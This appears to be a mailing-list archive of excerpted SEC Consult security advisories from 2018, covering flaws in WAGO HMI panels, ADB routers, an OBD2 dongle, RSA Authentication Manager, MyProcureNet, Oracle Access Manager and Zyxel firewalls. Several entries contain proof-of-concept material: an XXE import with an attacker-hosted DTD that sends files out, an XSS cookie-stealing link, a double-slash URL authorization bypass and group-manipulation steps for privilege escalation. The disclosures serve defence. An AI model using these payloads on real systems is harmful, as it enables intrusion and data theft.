SEC Consult Vulnerability Lab Security Advisory < 20180711-0 > === title: Remote code execution via multiple attack vectors product: WAGO e!DISPLAY 7300T - WP 4.3 480x272 PIO1 vulnerable version: FW 01 - 01.01.10(01) fixed version: FW 02 CVE number: CVE-2018-12979, CVE-2018-12980, CVE-2018-12981 impact: High homepage: https://www.wago.com/ found: 2018-04-25 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "New ideas are the driving force behind our success WAGO is a family-owned company headquartered in Minden, Germany. Independently operating for three generations, WAGO is the global leader of spring pressure electrical interconnect and automation solutions. For more than 60 years, WAGO has developed and produced innovative products for packaging, transportation, process, industrial and building automation markets amongst others. Aside from its innovations in spring pressure connection technology, WAGO has introduced numerous innovations that have revolutionized industry. Further ground-breaking inventions include: the WAGO-I/O-SYSTEM®, TOPJOB S® and WALL-NUTS®." Source: http://www.wago.us/wago/ "For visualization tasks with CODESYS 2 and CODESYS 3: WAGO's new e!DISPLAY 7300T Web Panels help you reinforce the quality of your machinery and equipment with a refined design and industry-leading software. Learn more about how the right Web Panels make a difference. HMI components are the finishing touch for machines or systems and they have an overwhelming impact on purchase decisions. WAGO offers aesthetically pleasing HMIs that leave a lasting impression and significantly increase both the value and image of your machine or system. WAGO’s e!DISPLAY 7300T Web Panel is available in 4.3'', 5.7'', 7.0'' and 10.1'' display sizes." Source: http://www.wago.us/products/components-for-automation/operation-and-monitoring/web-panels-edisplay-7300t/overview/index.jsp Business recommendation: HMI displays are widely used in SCADA infrastructures. The link between their administrative (or informational) web interfaces and the users which access these interfaces is critical. The presented attacks demonstrate how simple it is to inject malicious code in order to break the security of this link by exploiting minimal user interaction. As a consequence a computer which is used for HMI administration should not provide any possibility to get compromised via malicious script code. One possible solution may be e.g.: * Don't allow email clients * Don't provide Internet access at all on the HMI stations SEC Consult recommends to immediately apply the available patches from the vendor. A thorough security review should be performed by security professionals to identify further potential security issues. Vulnerability overview/description: --- 1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981) Reflected cross site scripting vulnerabilities were identified within multiple PHP scripts in the admin interface. The parameter JSON input which is sent to the device is not sanitized sufficiently. An attacker can exploit this vulnerability to execute arbitrary scripts in the context of the attacked user and gain control over the active session. This vulnerability is present for authenticated and unauthenticated users! 2) Stored Cross-Site Scripting (CVE-2018-12981) A stored cross-site scripting vulnerability was identified within the "PLC List" which can be configured in the web interface of the e!Display. By storing a payload there, an administrative or guest user can be attacked without tricking them to visit a malicious web site or clicking on an malicious link. This vulnerability is only present for authenticated users! 3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980) Arbitrary files can be uploaded to the system without any check. It is even possible to change the location of the uploaded file on the system. As the web service does not run as privileged user, it is not possible to upload a file directly to the web root but on many other locations on the file system. The normal user 'user' and the administrative user 'admin' can both upload files to the system. 4) Incorrect Default Permissions (CVE-2018-12979) Due to incorrect default permissions a file in the web root can be overwritten by the unprivileged 'www' user. This is the sam
[FD] SEC Consult SA-20180704-2 :: Privilege escalation via linux group manipulation in all ADB Broadband Gateways / Routers
Also see our other two advisories regarding critical ADB vulnerabilities as they have been split up for better readability: Local root: https://www.sec-consult.com/en/blog/advisories/local-root-jailbreak-via-network-file-sharing-flaw-in-all-adb-broadband-gateways-routers/ Authorization bypass: https://www.sec-consult.com/en/blog/advisories/authorization-bypass-in-all-adb-broadband-gateways-routers/ SEC Consult Vulnerability Lab Security Advisory < 20180704-2 > === title: Privilege escalation via linux group manipulation product: All ADB Broadband Gateways / Routers (based on Epicentro platform) vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc. fixed version: see "Solution" section below CVE number: CVE-2018-13110 impact: critical homepage: http://www.adbglobal.com found: 2016-07-11 by: Stefan Viehböck (Office Vienna) Johannes Greil (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "ADB creates and delivers the right solutions that enable our customers to reduce integration and service delivery challenges to increase ARPU and reduce churn. We combine ADB know-how and products with those from a number of third party industry leaders to deliver complete solutions that benefit from collaborative thinking and best in class technologies." Source: https://www.adbglobal.com/about-adb/ "Founded in 1995, ADB initially focused on developing and marketing software for digital TV processors and expanded its business to the design and manufacture of digital TV equipment in 1997. The company sold its first set-top box in 1997 and since then has been delivering a number of set-top boxes, and Gateway devices, together with advanced software platforms. ADB has sold over 60 million devices worldwide to cable, satellite, IPTV and broadband operators. ADB employs over 500 people, of which 70% are in engineering functions." Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast Business recommendation: By exploiting the group manipulation vulnerability on affected and unpatched devices an attacker is able to gain access to the command line interface (CLI) if previously disabled by the ISP. Depending on the feature-set of the CLI (ISP dependent) it is then possible to gain access to the whole configuration and manipulate settings in the web GUI and escalate privileges to highest access rights. It is highly recommended by SEC Consult to perform a thorough security review by security professionals for this platform. It is assumed that further critical vulnerabilities exist within the firmware of this device. Vulnerability overview/description: --- 1) Privilege escalation via linux group manipulation (CVE-2018-13110) An attacker with standard / low access rights within the web GUI is able to gain access to the CLI (if it has been previously disabled by the configuration) and escalate his privileges. Depending on the CLI features it is possible to extract the whole configuration and manipulate settings or gain access to debug features of the device, e.g. via "debug", "upgrade", "upload" etc. commands in the CLI. Attackers can gain access to sensitive configuration data such as VoIP credentials or other information and manipulate any settings of the device. Proof of concept: - 1) Privilege escalation via linux group manipulation (CVE-2018-13110) It is possible to manipulate the group name setting of "Storage users" and overwrite the local linux groups called "remoteaccess" or "localaccess" in (in /etc/group) which define access to Telnet or SSH on the ADB devices. It may be possible to overwrite the "root" group as well but it may brick the device and the default user is already within the "root" group. Hence this attack has not been further tested. The following steps describe the attack: a) Add a new group called "localaccess" via the web GUI here: http://$IP/ui/dboard/storage/storageusers?backto=storage This will generate the following new group in /etc/group. The original "localaccess" group will overwritten. localaccess:Storage Group:5001: b) Then delete this group via the web GUI again, the entry will be removed from /etc/group completely. c) Afterwards, create the following new group name entry via the web GUI and add your user account (e.g. admin) wh
[FD] SEC Consult SA-20180704-1 :: Authorization Bypass in all ADB Broadband Gateways / Routers
Also see our other two advisories regarding critical ADB vulnerabilities as they have been split up for better readability: Local root: https://www.sec-consult.com/en/blog/advisories/local-root-jailbreak-via-network-file-sharing-flaw-in-all-adb-broadband-gateways-routers/ Privilege escalation: https://www.sec-consult.com/en/blog/advisories/privilege-escalation-via-linux-group-manipulation-in-all-adb-broadband-gateways-routers/ SEC Consult Vulnerability Lab Security Advisory < 20180704-1 > === title: Authorization Bypass product: All ADB Broadband Gateways / Routers (based on Epicentro platform) vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc. fixed version: see "Solution" section below CVE number: CVE-2018-13109 impact: critical homepage: http://www.adbglobal.com found: 2016-06-28 by: Johannes Greil (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "ADB creates and delivers the right solutions that enable our customers to reduce integration and service delivery challenges to increase ARPU and reduce churn. We combine ADB know-how and products with those from a number of third party industry leaders to deliver complete solutions that benefit from collaborative thinking and best in class technologies." Source: https://www.adbglobal.com/about-adb/ "Founded in 1995, ADB initially focused on developing and marketing software for digital TV processors and expanded its business to the design and manufacture of digital TV equipment in 1997. The company sold its first set-top box in 1997 and since then has been delivering a number of set-top boxes, and Gateway devices, together with advanced software platforms. ADB has sold over 60 million devices worldwide to cable, satellite, IPTV and broadband operators. ADB employs over 500 people, of which 70% are in engineering functions." Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast Business recommendation: By exploiting the authorization bypass vulnerability on affected and unpatched devices an attacker is able to gain access to settings that are otherwise forbidden for the user, e.g. through strict settings set by the ISP. It is also possible to manipulate settings to e.g. enable the telnet server for remote access if it had been previously disabled by the ISP. The attacker needs some user account, regardless of the permissions, for login, e.g. the default one provided by the ISP or printed on the device can be used. It is highly recommended by SEC Consult to perform a thorough security review by security professionals for this platform. It is assumed that further critical vulnerabilities exist within the firmware of this device. Vulnerability overview/description: --- 1) Authorization bypass vulnerability (CVE-2018-13109) Depending on the firmware version/feature-set of the ISP deploying the ADB device, a standard user account may not have all settings enabled within the web GUI. An authenticated attacker is able to bypass those restrictions by adding a second slash in front of the forbidden entry of the path in the URL. It is possible to access forbidden entries within the first layer of the web GUI, any further subsequent layers/paths (sub menus) were not possible to access during testing but further exploitation can't be ruled out entirely. Proof of concept: - 1) Authorization bypass vulnerability (CVE-2018-13109) Assume the following URL is blocked/forbidden within the web GUI settings: http://$IP/ui/dboard/settings/management/telnetserver Adding a second slash in front of the blocked entry "telnetserver" will enable full access including write permissions to change settings: http://$IP/ui/dboard/settings/management//telnetserver This works for many other settings within the web GUI! In our tests it was not possible to access subsequent layers, e.g.: Assume that both the proxy menu and submenu "rtsp" settings are blocked, a second slash will _not_ enable access to the RTSP settings: http://$IP/ui/dboard/settings/proxy//rtsp Nevertheless, it can't be ruled out that sub menus can be accessed too when further deeper tests are being performed. Vulnerable / tested versions: - The following devices & firmware have been tested which were the most recent versions at the time of discovery: The firmware versions depend on the ISP / customer of ADB and may vary! ADB P.RG AV
[FD] SEC Consult SA-20180704-0 :: Local root jailbreak via network file sharing flaw in all ADB Broadband Gateways / Routers
Also see our other two advisories regarding critical ADB vulnerabilities as they have been split up for better readability: Authorization bypass: https://www.sec-consult.com/en/blog/advisories/authorization-bypass-in-all-adb-broadband-gateways-routers/ Privilege escalation: https://www.sec-consult.com/en/blog/advisories/privilege-escalation-via-linux-group-manipulation-in-all-adb-broadband-gateways-routers/ SEC Consult Vulnerability Lab Security Advisory < 20180704-0 > === title: Local root jailbreak via network file sharing flaw product: All ADB Broadband Gateways / Routers (based on Epicentro platform) vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc. fixed version: see "Solution" section below CVE number: CVE-2018-13108 impact: critical homepage: http://www.adbglobal.com found: 2016-06-09 by: Johannes Greil (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "ADB creates and delivers the right solutions that enable our customers to reduce integration and service delivery challenges to increase ARPU and reduce churn. We combine ADB know-how and products with those from a number of third party industry leaders to deliver complete solutions that benefit from collaborative thinking and best in class technologies." Source: https://www.adbglobal.com/about-adb/ "Founded in 1995, ADB initially focused on developing and marketing software for digital TV processors and expanded its business to the design and manufacture of digital TV equipment in 1997. The company sold its first set-top box in 1997 and since then has been delivering a number of set-top boxes, and Gateway devices, together with advanced software platforms. ADB has sold over 60 million devices worldwide to cable, satellite, IPTV and broadband operators. ADB employs over 500 people, of which 70% are in engineering functions." Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast Business recommendation: By exploiting the local root vulnerability on affected and unpatched devices an attacker is able to gain full access to the device with highest privileges. Attackers are able to modify any settings that might have otherwise been prohibited by the ISP. It is possible to retrieve all stored user credentials (such as VoIP) or SSL private keys. Furthermore, attacks on the internal network side of the ISP are possible by using the device as a jump host, depending on the internal network security measures. Network security should not depend on the security of independent devices, such as modems. An attacker with root access to such a device can enable attacks on connected networks, such as administrative networks managed by the ISP or other users. It is highly recommended by SEC Consult to perform a thorough security review by security professionals for this platform. It is assumed that further critical vulnerabilities exist within the firmware of this device. Vulnerability overview/description: --- 1) Local root jailbreak via network file sharing flaw (CVE-2018-13108) Most ADB devices offer USB ports in order for customers to use them for printer or file sharing. In the past, ADB devices have suffered from symlink attacks e.g. via FTP server functionality which has been fixed in more recent firmware versions. The "Network File Sharing" feature of current ADB devices via USB uses a samba daemon which accesses the USB drive with highest access rights and exports the network shares with root user permissions. The default and hardcoded setting for the samba daemon within the smb.conf on the device has set "wide links = no" which normally disallows gaining access to the root file system of the device using symlink attacks via a USB drive. But an attacker is able to exploit both a web GUI input validation and samba configuration file parsing problem which makes it possible to access the root file system of the device with root access rights via a manipulated USB drive. The attacker can then edit various system files, e.g. passwd and session information of the web server in order to escalate web GUI privileges and start a telnet server and gain full system level shell access as root. This is a local attack and not possible via remote access vectors as an attacker needs to insert a specially crafted USB drive into the device! Usually not even the ISPs themselves have direct root access on ADB devices hence this attack is quite prob
[FD] SEC Consult SA-20180529-0 :: Unprotected WiFi access & Unencrypted data transfer in Vgate iCar2 OBD2 Dongle
SEC Consult Vulnerability Lab Security Advisory < 20180529-0 > === title: Unprotected WiFi access & Unencrypted data transfer product: Vgate iCar 2 WiFi OBD2 Dongle vulnerable version: Vgate iCar 2 WiFi OBD2 Dongle fixed version: - CVE number: CVE-2018-11476 CVE-2018-11477 CVE-2018-11478 impact: Critical homepage: http://www.vgate.com.cn found: 2018-04-24 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Based in Shenzhen, China, Vgate Technology.co ltd. specializes in the development, design and manufacture of diagnostic equipment, tools and accessories in the automotive aftermarket industry. We offers a selective range of products from automotive diagnostic tools including code readers and scan tools, to test and inspection equipment such as sensor testers and battery testers. Aside from the above, we also carry garage equipment like infrared paint dryers and pipe expanders, and automotive diagnostic accessories such as OBD diagnostic cable assemblies, SAE J1962 connectors, and vehicle to PC (or PDA) interface adapters (VAG-COM interfaces). Though the company is young in age, we are strong in experiences in that all of our major engineers have extensive R&D experience in the automotive aftermarket technology. With the combination of our experienced and distinguished specialists, low-cost manufacturing and exceptional customer service, M.B is able to become the supplier of choice who delivers high quality products, user-friendly designs and most competitive prices to both professional and amateur (or DIYers) automotive technicians. We are proud of ourselves in providing cost effective, timely and innovative solutions with a first class service." Source: http://www.vgate.com.cn/en/Aboutus.html Business recommendation: By using the vulnerabilities which are documented in this advisory an attacker can easily send arbitrary messages to the automotive communication bus (CAN/FlexRay/...) of the car electronics and potentially take over safety-critical car functions. The vendor told SEC Consult in a phone call that our identified security issues are common practice for such hardware and therefore will not be fixed! SEC Consult recommends not to use this product until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: --- 1) Unprotected WiFi Access (CVE-2018-11476) The dongle opens an unprotected wireless LAN which cannot be configured with an encryption / password. This enables anyone within the range of the WLAN to connect to the network without authentication. 2) Unencrypted Data Transfer (CVE-2018-11477) The data packets which are sent between the App and the OBD dongle are not encrypted. The combination of this vulnerability with the lack of a wireless network protection exposes all transferred car data to the public. 3) Unauthenticated Access to On-board Diagnostics (OBD) (CVE-2018-11478) The OBD port is used to receive measurement data and debug information from the car. This on-board diagnostics can also be used to send commands to the car which is different for every vendor / car product line / car. The mentioned features are usually needed for maintenance purposes but can be abused by attackers. This is possible because the OBD interface is directly accessible through port 35000 on the (unprotected) wireless access point of the OBD device. Because of the fact that it is never intended that other people have access to the data bus (e.g. CAN) of your car while you are driving, this vulnerability is seen as highly critical and a safety-critical threat to the public. Proof of concept: - Detailed of proof of concepts have been removed as the vendor did not provide a patch. 1) Unprotected WiFi Access (CVE-2018-11476) The unprotected wireless LAN is named "V-LINK". To create it, the "Fn-Link (6110R-IF)" is used. It acts as wireless UART bridge to hand over the commands of the App to the ELM327 compatible "iCar-2" chip. 2) Unencrypted Data Transfer (CVE-2018-11477) All commands starting with "AT" and the "0100"/"0120" are strings which were sent from the App to the OBD Dongle. The "X" character is a wildcard for an arbitrary hexadecimal value and is used to anonymize car data in responses for this advisory. The following p
[FD] SEC Consult SA-20180516-0 :: XXE & XSS vulnerabilities in RSA Authentication Manager
SEC Consult Vulnerability Lab Security Advisory < 20180516-0 > === title: XXE & XSS vulnerabilities product: RSA Authentication Manager vulnerable version: 8.2.1.4.0-build1394922, < 8.3 P1 fixed version: 8.3 P1 and later CVE number: CVE-2018-1247 impact: High homepage: https://www.rsa.com found: 2017-11-16 by: Mantas Juskauskas (Office Vilnius) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "RSA provides more than 30,000 customers around the world with the essential security capabilities to protect their most valuable assets from cyber threats. With RSA's award-winning products, organizations effectively detect, investigate, and respond to advanced attacks; confirm and manage identities; and ultimately, reduce IP theft, fraud, and cybercrime." Source: https://www.rsa.com/en-us/company/about Business recommendation: By exploiting the vulnerabilities documented in this advisory an attacker can obtain sensitive information from the RSA Authentication Manager file system, initiate arbitrary TCP connections or cause DoS. In addition to this, clients of the RSA Authentication manager can be affected by exploiting client-side issues. SEC Consult recommends to apply the available patches from the vendor. Vulnerability overview/description: --- 1) XML External Entity Injection (XXE) (CVE-2018-1247) The used XML parser is resolving XML external entities which allows an authenticated attacker (or an attacker that is able to trick an authenticated user into importing malicious XML files) to read files, send requests to systems on the internal network (e.g port scanning) or cause a DoS (e.g. billion laughs attack). This issue has been fixed by RSA as described in the advisory DSA-2018-086. (http://seclists.org/fulldisclosure/2018/May/18) 2) Cross-site Flashing The vulnerable flash file does not filter or escape the user input sufficiently. This leads to a reflected cross-site scripting vulnerability. With reflected cross-site scripting, an attacker can inject arbitrary HTML or JavaScript code into the victim's web browser. Once the victim clicks a malicious link the attacker's code is executed in the context of the victim's web browser. The vulnerability exists in a third party component called pmfso. This issue has been fixed by RSA as described in the advisory DSA-2018-082. 3) DOM based Cross-site Scripting Several client-side scripts handle user supplied data with insufficient validation before storing it in the DOM. This issue can be exploited to cause reflected cross-site scripting. The identified issues exist in third party components. One of the affected components is PopCalendarX which has an assigned CVE (CVE-2017-9072). This issue has been fixed by RSA as described in the advisory DSA-2018-082. Two further issues affecting other third party components are not yet fixed, as the third party vendor did not supply a patch to RSA yet. Proof of concept: - 1) XML External Entity Injection (XXE) (CVE-2018-1247) The Security Console of the RSA Authentication Manager allows authenticated users to import SecurID Token jobs in XML format. By importing an XML file with malicious XML code to the application, it is possible to exploit a blind XXE vulnerability within the application. For example, in order to read arbitrary files from the RSA Authentication Manager OS, the following malicious XML file can be imported via the affected endpoint: == POST /console-ims/ImportTokenJob.do?ptoken=[snip] HTTP/1.1 Host: :7004 Cookie: [snip] [snip] -9721941626073 Content-Disposition: form-data; name="textImportFileName.theFile"; filename="xxe_test.xml" Content-Type: text/xml /a.dtd"> &e1; -9721941626073 Content-Disposition: form-data; name="textImportFileName.uploadResult" [snip] == In this case, the attacker has to host the defined a.dtd file in the web root of a controlled web server: == # cat /var/www/a.dtd :8080/%p1;'>"> %p2; == Assuming that the RSA Authentication Manager OS has network level access
Re: [FD] SEC Consult SA-20180514-0 :: Arbitrary File Upload & Cross-site scripting in MyBiz MyProcureNet
The following CVE numbers have been assigned now: XSS issue: CVE-2018-11090 Arbitrary File Upload: CVE-2018-11091 On 2018-05-14 13:25, SEC Consult Vulnerability Lab wrote: > SEC Consult Vulnerability Lab Security Advisory < 20180514-0 > > === > title: Arbitrary File Upload & Cross-site scripting > product: MyBiz MyProcureNet > vulnerable version: 5.0.0 > fixed version: unknown > CVE number: - > impact: Critical >homepage: http://www.mybiz.net/ > found: 2018-01-29 > by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur) > Fikri Fadzil (Office Singapore) > Wan Ikram (Office Kuala Lumpur) > Jasveer Singh (Office Kuala Lumpur) > SEC Consult Vulnerability Lab > > An integrated part of SEC Consult > Europe | Asia | North America > > https://www.sec-consult.com > > === > > Vendor description: > --- > "MyBiz is a company fixated on developing technology which transforms the way > business is done online. At the intersection of what one business needs from > another is the potential for value to be created differently. This > intersection for the exchange of value requires technology but in > fundamentally very different ways from traditional enterprise systems. MyBiz > believes that the chemistry of business is the business relationships between > enterprises. The strength of the business relationship drives the success and > future of the business. MyBiz believes that these business relationships need > to be captured and orchestrated. MyBiz developed our proprietary Business > Relationship Network engine, a platform to capture business relationships as > data to drive new business services which create value efficiently." > > Source: http://www.mybiz.net/copy-of-our-story > > > Business recommendation: > > The vendor did not reply to our inquiries since February 2018 hence the issues > might still exist in current versions. > > SEC Consult recommends not use this product until a thorough security review > has been performed by security professionals and all identified issues have > been resolved. It is assumed that MyBiz products are affected by further > critical security issues. > > > Vulnerability overview/description: > --- > The identified vulnerabilities can be exploited after authentication but > the registration for the application is usually open for anyone. > > 1. Arbitrary File Upload > A malicious file can be uploaded to the webserver by an attacker. It is > possible for an attacker to upload a script to issue operating system > commands. > > This vulnerability occurs because an attacker is able to adjust the > "HiddenFieldControlCustomWhiteListedExtensions" parameter and add arbitrary > extensions to the whitelist during the upload. > > For instance, if the extension .asp is added to the > "HiddenFieldControlCustomWhiteListedExtensions" parameter, the server > accepts "secctest.asp" as legitimate file. Hence malicious files can be > uploaded in order to execute arbitrary commands to take over the server. > > > 2. Reflected Cross-site scripting > This vulnerability within "ProxyPage.aspx" allows an attacker to inject > malicious client side scripting which will be executed in the browser of > users if they visit the manipulated site. > > > Proof of concept: > - > The proof of concept has been removed as no patch is available. > > > Vulnerable / tested versions: > - > MyBiz MyProcureNet version 5.0.0 has been tested and found to be vulnerable. > This > was the latest version available at the time of the test. > > > Vendor contact timeline: > > 2018-02-22: Contacting vendor through i...@mybiz.net (no response) > 2018-02-27: Request update from vendor (no response) > 2018-03-13: Trying to contact via web form http://www.mybiz.net/contact-us > (no response) > 2018-05-14: Public release of security advisory > > > Solution: > ----- > None > > > Workaround: > --- > None > > > Advisory URL: > - > https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html > > ~~~~~~~~
[FD] SEC Consult SA-20180514-0 :: Arbitrary File Upload & Cross-site scripting in MyBiz MyProcureNet
SEC Consult Vulnerability Lab Security Advisory < 20180514-0 > === title: Arbitrary File Upload & Cross-site scripting product: MyBiz MyProcureNet vulnerable version: 5.0.0 fixed version: unknown CVE number: - impact: Critical homepage: http://www.mybiz.net/ found: 2018-01-29 by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur) Fikri Fadzil (Office Singapore) Wan Ikram (Office Kuala Lumpur) Jasveer Singh (Office Kuala Lumpur) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "MyBiz is a company fixated on developing technology which transforms the way business is done online. At the intersection of what one business needs from another is the potential for value to be created differently. This intersection for the exchange of value requires technology but in fundamentally very different ways from traditional enterprise systems. MyBiz believes that the chemistry of business is the business relationships between enterprises. The strength of the business relationship drives the success and future of the business. MyBiz believes that these business relationships need to be captured and orchestrated. MyBiz developed our proprietary Business Relationship Network engine, a platform to capture business relationships as data to drive new business services which create value efficiently." Source: http://www.mybiz.net/copy-of-our-story Business recommendation: The vendor did not reply to our inquiries since February 2018 hence the issues might still exist in current versions. SEC Consult recommends not use this product until a thorough security review has been performed by security professionals and all identified issues have been resolved. It is assumed that MyBiz products are affected by further critical security issues. Vulnerability overview/description: --- The identified vulnerabilities can be exploited after authentication but the registration for the application is usually open for anyone. 1. Arbitrary File Upload A malicious file can be uploaded to the webserver by an attacker. It is possible for an attacker to upload a script to issue operating system commands. This vulnerability occurs because an attacker is able to adjust the "HiddenFieldControlCustomWhiteListedExtensions" parameter and add arbitrary extensions to the whitelist during the upload. For instance, if the extension .asp is added to the "HiddenFieldControlCustomWhiteListedExtensions" parameter, the server accepts "secctest.asp" as legitimate file. Hence malicious files can be uploaded in order to execute arbitrary commands to take over the server. 2. Reflected Cross-site scripting This vulnerability within "ProxyPage.aspx" allows an attacker to inject malicious client side scripting which will be executed in the browser of users if they visit the manipulated site. Proof of concept: - The proof of concept has been removed as no patch is available. Vulnerable / tested versions: - MyBiz MyProcureNet version 5.0.0 has been tested and found to be vulnerable. This was the latest version available at the time of the test. Vendor contact timeline: 2018-02-22: Contacting vendor through i...@mybiz.net (no response) 2018-02-27: Request update from vendor (no response) 2018-03-13: Trying to contact via web form http://www.mybiz.net/contact-us (no response) 2018-05-14: Public release of security advisory Solution: - None Workaround: --- None Advisory URL: ----- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~ Interested to work with the experts of SEC C
[FD] SEC Consult SA-20180503-0 :: Authentication Bypass in Oracle Access Manager (OAM)
We have published an accompanying blog post to this technical advisory with further information: Blog: https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/ Demo video: https://www.youtube.com/watch?v=YK7_1NozAwQ SEC Consult Vulnerability Lab Security Advisory < 20180503-0 > === title: Authentication Bypass product: Oracle Access Manager vulnerable version: 11.1.2.3.0, 12.2.1.3.0 fixed version: April 2018 CPU CVE number: CVE-2018-2879 impact: Critical homepage: https://www.oracle.com/ found: 2017-11 by: W. Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Oracle Access Management provides innovative new services that complement traditional access management capabilities. It not only provides Web SSO with MFA, coarse grained authorization and session management but also provides standard SAML Federation and OAuth capabilities to enable secure access to external cloud and mobile applications. It can be easily integrated with the Oracle Identity Cloud Service to support hybrid access management capabilities that can help customers to seamlessly protect on-premise and cloud applications and workloads." URL: http://www.oracle.com/technetwork/middleware/id-mgmt/index-090417.html Business recommendation: SEC Consult did not conduct a full security audit as only a cryptographic implementation was analyzed. However, since the vulnerability was found in such a central component of the OAM, we suspect that an insufficient amount of attention has been given to information security. Given the central position in an organization's security infrastructure, we recommend Oracle's customers to either conduct a full audit of the component or to request the results of such audits from Oracle. The security patches from the Oracle CPU April 2018 have to be applied immediately! Vulnerability overview/description: --- Due to an improper usage of the CBC encryption mode, Oracle Access Manager (OAM) is vulnerable to an authentication bypass vulnerability. An attacker can abuse this vulnerability to log in to any resource protected by the OAM using any user account, even administrative accounts! This security vulnerability completely breaks the main functionality of the OAM product. An attacker can create a scenario in which the OAM replies differently depending on whether the PKCS#7 padding of an encrypted message is valid or invalid. This behavior can be used to mount a padding oracle attack. An attacker can decrypt and encrypt several messages used to communicate between the OAM and web servers. The attack described here allows an attacker to create arbitrary authentication cookies which are accepted by the OAM. Proof of concept: - A successful user authentication with Oracle Access Manager (OAM) involves the following steps: 1. The user accesses a protected resource. 2. A component in the web server (the Oracle Webgate) answers this request with a redirect to the OAM. An encrypted message ("encquery") is passed to the OAM in a URL parameter. 3. The user authenticates against the OAM (e.g. with username and password). 4. The OAM redirects the user back to the web server. Information about the successful login is passed in the parameter "encreply". 5. The web server redirects the user to the resource that was initially requested. An encrypted authentication token is stored in a cookie (OAMAuthnCookie). 6. The authentication token in the OAMAuthnCookie cookie is used from now on to authenticate the user. All three encrypted messages (encquery, encreply, OAMAuthnCookie) are encrypted with a CBC cipher using the same key. This key is shared between the OAM and the web server. The attack exploits step 2 of the authentication process: the attacker sends manipulated "encquery" parameters and observes the server's response. The following shows an example of a decrypted encquery: salt=sF/vMVV0Gkr/k+IhbrXYWg== wh=agentid wu=%2F wo=1 rh=http://server: ru=%2F reqtime=151000 ctx= validate= where * the "salt" is a randomly generated value * "validate" is a hash over certain parts of the message (MD5) To conduct a padding oracle attack, an attacker would modify the second last encrypted block of an encrypted message. Most of the time, this causes the padding in the decrypted message to be invalid. In case the padding is accepted, the attacker gains information
[FD] SEC Consult SA-20180424-0 :: Reflected Cross-Site Scripting in multiple Zyxel ZyWALL products
SEC Consult Vulnerability Lab Security Advisory < 20180424-0 > === title: Reflected Cross-Site Scripting product: Zyxel ZyWALL: see "Vulnerable / tested version" vulnerable version: ZLD 4.30 and before fixed version: ZLD 4.31 CVE number: - impact: Medium homepage: https://www.zyxel.com found: 2018-02-05 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Focused on innovation and customer-centricity, Zyxel Communications Corp. has been connecting people to the internet for nearly 30 years. We keep promoting creativity which meets the needs of customers. This spirit has never been changed since we developed the world's first integrated 3-in-1 data/fax/voice modem in 1992. Our ability to adapt and innovate with networking technology places us at the forefront of understanding connectivity for telco/service providers, businesses and home users. We're building the networks of tomorrow, helping unlock the world's potential and meeting the needs of the modern workplace; powering people at work, life and play. We stand side-by-side with our customers and partners to share new approaches to networking that will unleash their abilities. Loyal friend, powerful ally, reliable resource — we are Zyxel, Your Networking Ally." Source: https://www.zyxel.com/about_zyxel/company_overview.shtml Business recommendation: SEC Consult recommends Zyxel customers to upgrade the firmware to the latest version available. A thorough security review should be performed by security professionals to identify further potential security issues. Vulnerability overview/description: --- 1) Reflected Cross-Site Scripting (XSS) A reflected cross-site scripting vulnerability was identified in 'free_time_failed.cgi' in the admin interface. The parameter 'err_msg' is returned without any sanitization of the input. An attacker, for example, can exploit this vulnerability to steal cookies from the attacked user in order to hijack a session and gain access to the device. Proof of concept: - 1) Reflected Cross-Site Scripting (XSS) By opening the following link, contents of the 'arip' and 'zy_pc_browser' cookies will be displayed. http:///free_time_failed.cgi?err_msg=alert(document.cookie); https:///free_time_failed.cgi?err_msg=alert(document.cookie); Vulnerable / tested versions: - The following versions are affected: Zyxel ZyWall USG 110 ZLD 4.30 and earlier Zyxel ZyWall USG 210 ZLD 4.30 and earlier Zyxel ZyWall USG 310 ZLD 4.30 and earlier Zyxel ZyWall USG 1100 ZLD 4.30 and earlier Zyxel ZyWall USG 1900 ZLD 4.30 and earlier Zyxel ZyWall USG 2200-VPN ZLD 4.30 and earlier Vendor contact timeline: 2018-02-07: Contacting vendor through secur...@zyxel.com.tw 2018-02-08: Vendor responded with contact information and a PGP key. Sent the encrypted advisory to the contact. 2018-02-09: Contact confirmed that the advisory was received. 2018-02-16: Contact confirmed the vulnerability and stated that the ZyWALL series is 